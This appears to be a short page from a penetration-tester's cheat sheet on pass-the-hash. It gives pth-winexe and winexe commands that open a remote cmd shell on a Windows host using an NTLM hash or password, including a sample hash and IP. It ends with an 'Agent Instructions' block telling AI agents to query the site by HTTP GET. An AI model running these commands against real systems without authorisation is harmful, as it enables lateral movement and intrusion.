# Pass the Hash (PTH)

> In cryptanalysis and computer security, pass the hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/Pass_the_hash)

## pth-winexe

> Modified version of the passing-the-hash tool collection made to work straight out of the box

* [GitHub - byt3bl33d3r/pth-toolkit](https://github.com/byt3bl33d3r/pth-toolkit)
* [Pass the Hash toolkit, Winexe | Kali Linux](https://www.kali.org/tutorials/pass-the-hash-toolkit-winexe-updates/)

Launch cmd.exe using pth

```bash
pth-winexe -U <user>%<ntlm-pw-hash> //<ip> cmd
```

or export hash?

```bash
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U administrator% //10.11.01.76 cmd
```

or password (instead of hash)

```bash
winexe -U <machine/name> //<ip> cmd.exe
```

-> Enter pw


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/misc/pass-the-hash.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
